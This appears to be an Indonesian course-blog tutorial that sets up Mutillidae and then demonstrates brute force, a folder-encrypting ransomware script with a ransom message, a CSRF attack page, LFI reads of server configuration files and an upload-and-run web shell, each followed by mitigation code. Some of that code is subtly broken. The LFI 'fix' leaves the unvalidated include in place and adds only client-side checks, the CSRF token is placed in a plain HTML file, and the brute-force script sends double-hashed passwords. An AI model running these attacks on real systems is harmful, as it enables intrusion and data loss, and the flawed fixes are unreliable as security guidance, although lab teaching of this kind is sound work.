Cara Menginstall Mutillidae di Kali Linux

 Cara Menginstall Mutillidae di Kali Linux

Pengantar OWASP Mutillidae

OWASP Mutillidae adalah aplikasi web yang sengaja dibuat rentan untuk tujuan pendidikan dan pelatihan keamanan aplikasi web. Dikembangkan sebagai bagian dari Open Web Application Security Project (OWASP), Mutillidae dirancang untuk membantu pengembang, penguji keamanan, dan peneliti keamanan untuk mempelajari dan menguji berbagai jenis kerentanan keamanan aplikasi web.

Tujuan dan Manfaat

  • Pendidikan Keamanan: Memberikan platform bagi individu untuk belajar dan memahami berbagai jenis kerentanan keamanan.
  • Pengujian Penetrasi: Memungkinkan penguji penetrasi untuk melatih keterampilan mereka dalam lingkungan yang aman dan terkendali.
  • Pengembangan Keamanan: Membantu pengembang memahami kelemahan dalam aplikasi web dan bagaimana cara mengatasinya.

Instalasi dan Konfigurasi

  • Pastikasn sudah memiliki virtual box dan kali linux
  • buka browser di kali linux dan download xampp untuk linux


  • lakukan instalasi, dengan membuka terminal pada file manger > download
  • ketikkan 'ls -l' untuk mencari data yg ada
  • masukkan 'sudo chmod +x xampp-linux-x64-8.2.12-0-installer.run', masukan sandi kali
  • masukkan kembali sudo ./xampp-linux-x64-8.2.12-0-installer.run


  • instal hingga selesai
  • nyalakan untuk mysql


  • buka phpmyadmin tambahkan untuk file mutillidae


  • buka pada file system > lampp > htdocs > mutillidae > src > includes, open terminal here
  • buka terminal ketikkan "ls -l" untuk menampilkan file
  • buka sudo nano database-config.inc


  • hapus untuk passnya pastikan kososng.


  • masuk ke localhost/mutillidae, scroll hingga ke bawah hingga bertemu opt out


  • mutillidae siap di gunakan.



Praktik Keamanan Terbaik

  • Validasi dan Sanitasi Input
    • Selalu validasi dan sanitasi input dari pengguna untuk mencegah injeksi.
  • Penggunaan Parameterized Queries
    • Gunakan prepared statements atau parameterized queries untuk menghindari SQL Injection.
  • Penggunaan Token CSRF
    • Implementasikan token CSRF untuk mencegah serangan CSRF.
  • Akses Kontrol yang Ketat
    • Terapkan kontrol akses yang ketat dan pastikan hanya pengguna yang berwenang yang dapat mengakses data tertentu.

BRUTE FORCE

 BRUTE FORCE

DEFINISI 

Serangan brute force adalah metode mencoba semua kombinasi kata sandi atau kunci enkripsi hingga menemukan yang benar.

CARA KERJA BRUTE FORCE

  •  Identifikasi Target: Menentukan sistem atau akun yang akan diserang.
  •  Menyiapkan Script atau Alat: Menggunakan script otomatis atau alat seperti Hydra, John the Ripper.
  • Melakukan Percobaan Kata Sandi: Mencoba berbagai kombinasi hingga menemukan kata sandi yang benar.

DEMO BRUTE FORCE

  • Buat folder brute_force 
  • Buat file index.php dan isikan kode berikut:
<?php
session_start();
$users = [
  'admin' => md5('password123'),
  'user' => md5('userpass')
];
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
  $username = $_POST['username'];
  $password = md5($_POST['password']);
  if (isset($users[$username]) && $users[$username] == $password) {
    $_SESSION['username'] = $username;
    echo "Login berhasil!";
  } else {
    echo "Login gagal!";
  }
}
?>

<!DOCTYPE html>
<html>
<head>
  <title>Login</title>
</head>
<body>
  <form method="post" action="">
    Username: <input type="text" name="username"><br>
    Password: <input type="password" name="password"><br>
    <input type="submit" value="Login">
  </form>
</body>
</html>
  • Simulasi serangan brute force dengan python 
  • Buat file brute_force.py dan isikan kode berikut:
import hashlib
import requests

url = "http://localhost/brute_force/index.php"
username = "admin"
passwords = ["password", "123456", "password123", "admin"]

for password in passwords:
    hashed_password = hashlib.md5(password.encode()).hexdigest()
    data = {
        "username": username,
        "password": hashed_password
    }
    response = requests.post(url, data=data)
    if "Login berhasil" in response.text:
        print(f"Password ditemukan: {password}")
        break
    else:
        print(f"Percobaan gagal: {password}")

  • Buka browser dan login dengan user admin/password123 pada url http://localhost/brute_force/index.php 


  • Jalankan serangan brute force pada terminal/cmd (pastikan terinstall python) dengan mengetikkan python brute_force.py

TUGAS 

  • Tambahkan script untuk mencegah serangan brute force 

Untuk mencegah serangan brute force, ada beberapa langkah yang bisa diambil, seperti membatasi jumlah percobaan login, menggunakan CAPTCHA, atau menambahkan waktu jeda setelah beberapa percobaan gagal. Saya akan menambahkan langkah-langkah ini ke dalam script PHP Anda.

Berikut adalah langkah-langkah untuk menambahkan perlindungan brute force di file index.php Anda:

    1. Membatasi jumlah percobaan login: Simpan informasi percobaan login dalam sesi atau database.
    2. Menggunakan CAPTCHA: Tampilkan CAPTCHA setelah beberapa percobaan gagal.
    3. Menambahkan waktu jeda: Tambahkan waktu tunggu setelah beberapa percobaan gagal.

Berikut adalah modifikasi untuk file index.php:

<?php
session_start();

// Batas percobaan login
define('MAX_LOGIN_ATTEMPTS', 5);
define('LOGIN_TIMEOUT', 300); // 5 menit

if (!isset($_SESSION['login_attempts'])) {
    $_SESSION['login_attempts'] = 0;
    $_SESSION['last_attempt_time'] = time();
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Cek apakah user telah mencapai batas percobaan
    if ($_SESSION['login_attempts'] >= MAX_LOGIN_ATTEMPTS && time() - $_SESSION['last_attempt_time'] < LOGIN_TIMEOUT) {
        echo 'Terlalu banyak percobaan login. Silakan coba lagi nanti.';
        exit;
    }

    // Ganti ini dengan logika validasi password Anda
    $hashed_password = md5($password);
    $correct_password_hash = '5f4dcc3b5aa765d61d8327deb882cf99'; // contoh hash untuk 'password'

    if ($username === 'admin' && $hashed_password === $correct_password_hash) {
        echo 'Login berhasil';
        // Reset percobaan login setelah berhasil login
        $_SESSION['login_attempts'] = 0;
    } else {
        $_SESSION['login_attempts']++;
        $_SESSION['last_attempt_time'] = time();
        echo 'Login gagal';
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <form method="post" action="">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
</body>
</html>

 

  • Jelaskan dampak dari serangan Brute Force

    Serangan brute force adalah metode di mana penyerang mencoba semua kemungkinan kombinasi kata sandi sampai menemukan kombinasi yang benar untuk mendapatkan akses ke akun atau sistem yang ditargetkan. Berikut adalah beberapa dampak dari serangan brute force:

Keamanan Data Terancam

    • Akses Tidak Sah: Penyerang dapat memperoleh akses ke akun atau sistem yang ditargetkan, memungkinkan mereka untuk mencuri, mengubah, atau menghapus data sensitif.
    • Pelanggaran Privasi: Informasi pribadi, seperti detail perbankan, informasi identitas, dan data sensitif lainnya bisa diakses dan disalahgunakan.

Kerugian Finansial

    • Pencurian Uang: Jika penyerang berhasil mendapatkan akses ke akun keuangan, mereka dapat mencuri uang atau melakukan transaksi yang tidak sah.
    • Biaya Pemulihan: Memulihkan sistem dari serangan brute force dapat memakan biaya yang signifikan, termasuk biaya untuk mengamankan sistem kembali, memperbaiki kerusakan, dan mengganti kehilangan data.

Kerusakan Reputasi

    • Kepercayaan Hilang: Pelanggan atau pengguna mungkin kehilangan kepercayaan pada perusahaan atau layanan yang menjadi korban serangan, yang dapat berdampak pada hubungan bisnis jangka panjang.
    • Publisitas Negatif: Insiden keamanan seringkali menarik perhatian media, yang dapat merusak citra perusahaan atau individu yang terlibat.

Gangguan Operasional

    • Downtime: Sistem atau layanan yang menjadi target serangan brute force mungkin mengalami downtime atau performa yang menurun, mengganggu operasional sehari-hari.
    • Tindakan Mitigasi: Waktu dan sumber daya yang signifikan mungkin diperlukan untuk mendeteksi, menganalisis, dan memitigasi serangan, yang dapat mengalihkan perhatian dari aktivitas bisnis utama.

Dampak Hukum dan Regulasi

    • Kewajiban Hukum: Pelanggaran data akibat serangan brute force dapat mengakibatkan tuntutan hukum atau sanksi dari badan pengatur, terutama jika melibatkan data pribadi.
    • Kepatuhan Terhadap Regulasi: Perusahaan mungkin perlu meningkatkan mekanisme keamanan mereka untuk mematuhi peraturan perlindungan data, yang dapat memerlukan investasi tambahan.

Penyalahgunaan Sumber Daya

    • Konsumsi Bandwidth: Serangan brute force yang terus-menerus dapat mengonsumsi bandwidth yang signifikan, yang dapat memperlambat atau mengganggu layanan lain yang berjalan di jaringan yang sama.
    • Beban pada Server: Percobaan login yang berulang-ulang dapat membebani server, yang bisa mengakibatkan penurunan kinerja atau bahkan crash.

Serangan RANSOMWARE

 RANSOMWARE

DEFINISI 

    Ransomware adalah jenis malware yang mengunci atau mengenkripsi file pada sistem korban, kemudian meminta tebusan untuk mengembalikan akses.Serangan ransomware dapat menyebabkan kerugian finansial dan data yang signifikan.


DEMO Serangan RANSOMWARE 

  • Buat folder ransomware, di dalam folder tersebut buat lagi folder target_folder 
  • Isikan target_folder beberapa file contoh yang akan di encrypt oleh ransomware
  • Buat file encrypt.php dan isikan kode berikut:
<?php
// Generate key
$key = base64_encode(openssl_random_pseudo_bytes(32));
// Simpan kunci ke file (untuk dekripsi nantinya)
file_put_contents('key.txt', $key);
// Fungsi untuk mengenkripsi file
function encryptFile($file, $key) {
  $data = file_get_contents($file);
  $method = 'aes-256-cbc';
  $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
  $encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
  $encrypted .= '::' . base64_encode($iv);
  file_put_contents($file, $encrypted);
}

// Tentukan folder yang akan dienkripsi
$folder = './target_folder';
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
  if ($file->isFile()) {
    encryptFile($file->getRealPath(), $key);
  }
}
echo "Semua file telah dienkripsi. Bayar tebusan untuk mendapatkan kunci dekripsi.";
?>
  • Jalankan serangan ransomware di browser dengan mengetikkan http://localhost/ransomware/encrypt.php 
  • Cek folder target_folder dan buka isi filenya ( file yang di masukan akan error)

TUGAS

  •  Buat file untuk decrypt serangan ransomware diatas
Buat file decrypt.php dan isikan kode berikut:

<?php
// Membaca kunci dari file
$key = file_get_contents('key.txt');

// Fungsi untuk mendekripsi file
function decryptFile($file, $key) {
    $method = 'aes-256-cbc';
    $data = file_get_contents($file);
    list($encrypted_data, $iv) = explode('::', $data);
    $iv = base64_decode($iv);
    $decrypted = openssl_decrypt($encrypted_data, $method, $key, 0, $iv);
    file_put_contents($file, $decrypted);
}

// Tentukan folder yang akan didekripsi
$folder = './target_folder';
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
foreach ($files as $file) {
    if ($file->isFile()) {
        decryptFile($file->getRealPath(), $key);
    }
}
echo "Semua file telah didekripsi.";
?>


Dampak dari serangan Ransomware

Serangan ransomware memiliki dampak yang signifikan dan dapat mempengaruhi individu, organisasi, dan masyarakat secara luas. Berikut adalah beberapa dampak utama dari serangan ransomware:

1. Kehilangan Data
  • Permanen: Jika korban tidak memiliki cadangan data yang memadai, mereka mungkin kehilangan data secara permanen jika tidak membayar tebusan atau jika dekripsi gagal.
  • Sementara: Meskipun memiliki cadangan, proses pemulihan data dapat memakan waktu dan sumber daya yang signifikan.
2. Kerugian Finansial
  • Tebusan: Korban sering kali dipaksa untuk membayar tebusan yang bisa mencapai ribuan atau bahkan jutaan dolar.
  • Biaya Pemulihan: Biaya untuk memulihkan sistem, termasuk layanan forensik, pemulihan data, dan peningkatan keamanan, dapat sangat mahal.
  • Downtime: Bisnis bisa kehilangan pendapatan selama periode downtime ketika sistem tidak beroperasi.
3. Gangguan Operasional
  • Bisnis: Serangan ransomware dapat menyebabkan gangguan besar dalam operasi bisnis sehari-hari, mengakibatkan hilangnya produktivitas dan pendapatan.
  • Layanan Publik: Jika serangan menargetkan infrastruktur penting atau layanan publik seperti rumah sakit, layanan darurat, atau transportasi, dampaknya bisa jauh lebih luas dan berbahaya.
4. Kerusakan Reputasi
  • Kepercayaan: Kepercayaan pelanggan, mitra bisnis, dan pemangku kepentingan lainnya dapat terguncang setelah serangan ransomware.
  • Citra Perusahaan: Perusahaan yang menjadi korban ransomware mungkin menderita kerusakan reputasi yang mempengaruhi citra mereka di pasar.
5. Dampak Hukum dan Regulasi
  • Denda: Jika data pribadi terlibat dan perusahaan gagal melindunginya, mereka mungkin dikenai denda berdasarkan regulasi seperti GDPR di Eropa.
  • Litigasi: Korban mungkin menghadapi tuntutan hukum dari pelanggan atau mitra bisnis yang terkena dampak.
6. Peningkatan Keamanan
  • Investasi: Organisasi sering kali harus menginvestasikan lebih banyak sumber daya dalam keamanan siber untuk mencegah serangan serupa di masa depan.
  • Kebijakan dan Prosedur: Perusahaan mungkin perlu memperbarui kebijakan dan prosedur keamanan mereka, termasuk pelatihan karyawan tentang ancaman keamanan siber.
7. Dampak Psikologis
  • Stres dan Trauma: Stres dan trauma bisa dialami oleh individu dan tim IT yang bertanggung jawab untuk menangani serangan dan memulihkan sistem.
  • Moral Karyawan: Moral karyawan secara keseluruhan bisa terpengaruh jika mereka merasa bahwa keamanan tempat kerja mereka tidak terjamin.

Contoh Kasus

  • WannaCry (2017): Serangan ransomware ini menginfeksi ratusan ribu komputer di seluruh dunia, termasuk sistem layanan kesehatan di Inggris (NHS), yang menyebabkan gangguan besar dalam layanan kesehatan.
  • NotPetya (2017): Serangan ini menargetkan perusahaan besar dan infrastruktur penting di berbagai negara, menyebabkan kerugian finansial besar dan gangguan operasional.

CROSS SITE REQUEST FORGERY

 CROSS SITE REQUEST FORGERY

Serangan Cross-Site Request Forgery (CSRF) merupakan jenis serangan keamanan web di mana penyerang mengelabui pengguna untuk melakukan tindakan yang tidak diinginkan di aplikasi web di mana pengguna tersebut sudah terautentikasi. 

STUDI KASUS: TRANSFER UANG 

  • Pak Budi masuk ke situs perbankan.
  • Penyerang mengirimkan email ke Pak Budi dengan link berbahaya: http://bank.com/transfer?amount=1000&to=attacker_account 
  • Pak Budi mengklik link tersebut. 
  • Transfer uang dilakukan tanpa sepengetahuan Pak Budi. 

DEMO SERANGAN CSRF 

  • Buat sebuah folder di C:\xampp\htdocs\ bernama csrf.
  • Di dalam folder csrf, buat file bernama index.html dengan isi sebagai berikut:
<!DOCTYPE html>
<html>
<body>
  <h2>Transfer Uang</h2>
  <form action="transfer.php" method="POST">
    <label for="amount">Jumlah:</label><br>
    <input type="text" id="amount" name="amount"><br>
    <label for="to">Kepada:</label><br>
    <input type="text" id="to" name="to"><br><br>
    <input type="submit" value="Transfer">
  </form>
</body>
</html>

  • Kemudian,Buat file bernama transfer.php dengan isi sebagai berikut: 

<?php
session_start();
// Proses transfer (tanpa perlindungan CSRF)
$amount = $_POST['amount'];
$to = $_POST['to'];
echo "Transferred $amount to $to";
?>

  • Buat file bernama csrf_attack.html dengan isi sebagai berikut:

<!DOCTYPE html>
<html>
<body>
  <h2>CSRF Attack</h2>
  <form action="http://localhost/csrf/transfer.php" method="POST">
    <input type="hidden" name="amount" value="1000">
    <input type="hidden" name="to" value="attacker_account">
    <input type="submit" value="Submit">
  </form>
</body>
</html>

Akses Formulir Transfer: 

  • Buka browser dan akses http://localhost/csrf/index.html 
  • Isi formulir dan submit untuk memastikan transfer bekerja.

 Luncurkan Serangan:

  • Buka http://localhost/csrf/csrf_attack.html. 
  • Klik tombol submit dan lihat hasil di halaman transfer.php

Untuk Terhindar dari serangan CSRF perlu menambahkan Script file yang sudah di buat, scriptnya adalah sebagai berikut:

Untuk melindungi aplikasi dari serangan CSRF, Anda bisa menambahkan token CSRF pada formulir dan memverifikasinya di sisi server. Berikut ini langkah-langkahnya:

1. Menambahkan Token CSRF pada Formulir di `index.html`:

<!DOCTYPE html>
<html>
<body>
  <h2>Transfer Uang</h2>
  <form action="transfer.php" method="POST">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <label for="amount">Jumlah:</label><br>
    <input type="text" id="amount" name="amount"><br>
    <label for="to">Kepada:</label><br>
    <input type="text" id="to" name="to"><br><br>
    <input type="submit" value="Transfer">
  </form>
</body>
</html>

2. Memodifikasi `transfer.php` untuk Memverifikasi Token CSRF:

<?php
session_start();

// Generate a CSRF token if one does not exist
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Check if the CSRF token is valid
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("Invalid CSRF token");
    }
   
    // Process the transfer if the CSRF token is valid
    $amount = $_POST['amount'];
    $to = $_POST['to'];

    // Here you can add the code to process the transfer
    // For example, updating the database or performing the transaction

    echo "Transfer successful";
}
?>


3. Memastikan Token CSRF di `index.html`:

Tambahkan kode PHP untuk memulai sesi dan menghasilkan token CSRF di bagian atas file `index.html`:

<?php
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>
<!DOCTYPE html>
<html>
<body>
  <h2>Transfer Uang</h2>
  <form action="transfer.php" method="POST">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <label for="amount">Jumlah:</label><br>
    <input type="text" id="amount" name="amount"><br>
    <label for="to">Kepada:</label><br>
    <input type="text" id="to" name="to"><br><br>
    <input type="submit" value="Transfer">
  </form>
</body>
</html>

Dengan langkah-langkah di atas, aplikasi Anda akan lebih aman dari serangan CSRF karena setiap permintaan POST harus menyertakan token CSRF yang valid.

Dampak dari serangan CSRF dapat sangat merugikan, termasuk:

  1. Perubahan Data yang Tidak Sah:

    • Penyerang dapat memaksa pengguna yang terautentikasi untuk mengirim permintaan yang mengubah data pada aplikasi web, seperti mengubah kata sandi, mengubah alamat email, atau mengirim pesan atas nama pengguna.
  2. Transaksi Keuangan yang Tidak Sah:

    • Dalam konteks aplikasi perbankan atau e-commerce, serangan CSRF dapat digunakan untuk melakukan transfer dana atau pembelian tanpa sepengetahuan dan persetujuan pengguna.
  3. Pencurian Identitas:

    • Penyerang dapat mengubah informasi profil pengguna untuk mendapatkan akses ke akun atau informasi pribadi, yang kemudian dapat digunakan untuk tindakan jahat lebih lanjut.
  4. Kerugian Finansial dan Reputasi:

    • Bisnis dapat mengalami kerugian finansial akibat penipuan atau transaksi yang tidak sah. Selain itu, reputasi perusahaan dapat tercemar jika pengguna kehilangan kepercayaan pada keamanan aplikasi tersebut.
  5. Penyebaran Malware:

    • Penyerang dapat menggunakan serangan CSRF untuk mengarahkan pengguna ke situs berbahaya yang mengunduh malware ke sistem pengguna.
  6. Eksploitasi Akun Pengguna:

    • Penyerang bisa mengeksploitasi akun pengguna untuk tujuan jahat lainnya, seperti mengirim spam atau melakukan serangan lebih lanjut.
Dampak dari serangan CSRF yang berhasil bisa sangat parah. Penyerang sering kali mengandalkan teknik rekayasa sosial (misalnya, phishing, biasanya dengan mengirimkan tautan melalui email, yang bertujuan untuk mengarahkan pengguna ke situs berbahaya) untuk meningkatkan peluang keberhasilan.

LOCAL/REMOTE FILE INCLUSION

 

LOCAL/REMOTE FILE INCLUSION


DEFINISI 

  • Local File Inclusion (LFI) adalah sebuah kerentanan dalam aplikasi web yang memungkinkan penyerang untuk memasukkan file lokal ke dalam eksekusi kode melalui input yang tidak divalidasi. 
  • Sedangkan serangan yang melibatkan upload file lalu mengeksekusi file tersebut disebut Remote File Inclusion (RFI)

TUJUAN SERANGAN
  •  Membaca file sensitif di server.
  •  Mengeksekusi skrip berbahaya. 
  • Mencuri data atau mendapatkan akses lebih lanjut.
DEMO 1: SERANGAN LFI 
  • Buat sebuah folder di C:\xampp\htdocs\ bernama lfi. 
  • Di dalam folder lfi, buat file bernama index.php dengan isi sebagai berikut: 
<?php
// index.php
$page = isset($_GET['page']) ? $_GET['page'] : 'home.php';
include($page);
?>
  • Buat file home.php di folder yang sama dengan isi:
<?php
echo "Welcome to the home page!";
?>
  • Buka browser dan akses http://localhost/lfi/index.php.
  • Untuk membaca file di sistem Windows, kita bisa mencoba membaca file C:\xampp\htdocs\lfi\home.php dengan mengubah parameter URL:
    http://localhost/lfi/index.php?page=C:/xampp/htdocs/lfi/home.php
  • Coba akses file sensitif seperti konfigurasi Apache:
     http://localhost/lfi/index.php?page=C:/xampp/apache/conf/httpd.conf

  •  Catatan: Penyerang bisa mencoba berbagai path untuk menemukan file yang bisa diakses




DEMO 2: SERANGAN RFI 
  • Buat folder di C:\xampp\htdocs\ bernama uploads.
Buat file upload.php di C:\xampp\htdocs\lfi\ dengan isi sebagai berikut:
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
  $target_dir = "uploads/";
  $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
    echo "Sorry, there was an error uploading your file.";
  }
}
?>
<!DOCTYPE html>
<html>
<body>
  <form action="upload.php" method="post" enctype="multipart/form-data">
    Select file to upload:
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload File" name="submit">
  </form>
</body>
</html>
  • Buat file PHP berbahaya (shell.php) dengan isi: 
  • Akses http://localhost/lfi/upload.php, pilih file shell.php, dan upload.
  • Setelah file diupload, akses URL untuk mengeksekusi:
     http://localhost/uploads/shell.php

Tambahkan script pada file tersebut agar terhindar dari serangan LFI & RFI
Pada file index.php kita menambahkan script sebagai berikut;
<?php
// index.php
$page = isset($_GET['page']) ? $_GET['page'] : 'home.php';
include($page);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
    <script>
        function validateFile() {
            const fileInput = document.getElementById('fileToUpload');
            const filePath = fileInput.value;
            const allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif|\.pdf)$/i;
            if (!allowedExtensions.exec(filePath)) {
                alert('Please upload file having extensions .jpeg/.jpg/.png/.gif/.pdf only.');
                fileInput.value = '';
                return false;
            }
            return true;
        }
    </script>
</head>
<body>
    <form action="upload.php" method="post" enctype="multipart/form-data" onsubmit="return validateFile()">
        <label for="fileToUpload">Select file to upload:</label>
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" value="Upload File" name="submit">
    </form>
</body>
</html>

Pada script diatas bertujuan untuk membatasi file apa saja yang bisa di upload, sehingga file yang du upload tidak sembarangan.

Selanjutnya adalah pada file upload.php kita menambahkan sript atau mengedit script sebelumnya menjadi :
<?php
// Tentukan direktori upload
$target_dir = "uploads/";

// Buat direktori jika belum ada
if (!is_dir($target_dir)) {
    mkdir($target_dir, 0755, true);
}

// Tentukan file yang akan diupload
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Cek apakah file adalah file gambar atau tipe file yang diizinkan
$allowedExtensions = array("jpg", "jpeg", "png", "gif", "pdf");
if (!in_array($fileType, $allowedExtensions)) {
    echo "Sorry, only JPG, JPEG, PNG, GIF, & PDF files are allowed.";
    $uploadOk = 0;
}

// Cek apakah $uploadOk sudah diatur menjadi 0 oleh kesalahan
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
} else {
    // Gunakan move_uploaded_file untuk menghindari LFI & RFI
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

<!DOCTYPE html>
<html>
<body>

<form action="upload.php" method="post" enctype="multipart/form-data">
  Select file to upload:
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="Upload File" name="submit">
</form>

</body>
</html>


Serangan Local File Inclusion (LFI) dan Remote File Inclusion (RFI) adalah jenis serangan keamanan web yang mengeksploitasi kerentanan dalam aplikasi web yang memungkinkan penyerang untuk memasukkan file dari sistem lokal atau remote ke dalam aplikasi. Berikut adalah dampak dari kedua jenis serangan ini:

Dampak dari Serangan LFI

1. Pembocoran Informasi Sensitif:
   - Penyerang dapat membaca file sensitif dari server, seperti konfigurasi server (e.g., `php.ini`), file sistem (e.g., `/etc/passwd`), atau file aplikasi yang mengandung informasi rahasia (e.g., file database).

2. Eksekusi Kode Arbitrer:
   - Jika penyerang dapat memasukkan file yang berisi kode berbahaya, mereka bisa menjalankan kode tersebut di server. Ini bisa dilakukan dengan menggabungkan serangan LFI dengan teknik lain, seperti file upload yang tidak aman.

3. Pengambilan Informasi Pengguna:
   - Penyerang dapat mengakses file log yang mungkin mengandung informasi pengguna atau detail sesi yang sensitif.

4. Eskalasi Privilege:
   - Dengan mengakses file yang berisi kredensial atau detail konfigurasi lainnya, penyerang bisa mendapatkan akses yang lebih tinggi dalam sistem.

Dampak dari Serangan RFI

1. Eksekusi Kode Berbahaya:
   - Penyerang dapat memasukkan file dari server remote yang berisi kode berbahaya. Kode ini akan dieksekusi oleh server, memungkinkan penyerang untuk mengontrol server atau melakukan aksi berbahaya lainnya.

2. Deface Website:
   - Penyerang bisa mengganti konten situs web dengan konten berbahaya atau ofensif, merusak reputasi organisasi.

3. Penyebaran Malware:
   - Penyerang dapat menggunakan RFI untuk menyebarkan malware ke pengguna yang mengunjungi situs web tersebut. File remote yang dimasukkan bisa berisi skrip yang menginfeksi pengguna dengan malware.

4. Pengambilan Informasi Pengguna:
   - Mirip dengan LFI, penyerang bisa mengakses informasi sensitif yang bisa diekspos oleh skrip yang mereka masukkan.

Pencegahan LFI dan RFI

1. Validasi Input:
   - Validasi dan sanitasi input pengguna dengan benar. Jangan pernah menggunakan input pengguna langsung dalam fungsi file.

2. Konfigurasi Server yang Aman:
   - Konfigurasi server untuk mencegah inklusi file dari sumber yang tidak dipercaya. Misalnya, menonaktifkan `allow_url_include` dan `allow_url_fopen` di konfigurasi PHP.

3. Penggunaan Fungsi yang Aman:
   - Gunakan fungsi PHP yang aman untuk menangani file, seperti `move_uploaded_file()`.

4. Pengaturan Izin File yang Tepat:
   - Pastikan bahwa file yang tidak perlu diakses oleh aplikasi web memiliki izin yang tepat untuk mencegah akses yang tidak sah.

5. Keamanan Aplikasi yang Komprehensif:
   - Selalu lakukan peninjauan keamanan terhadap aplikasi web dan implementasikan praktik pengkodean yang aman untuk mencegah kerentanan seperti LFI dan RFI.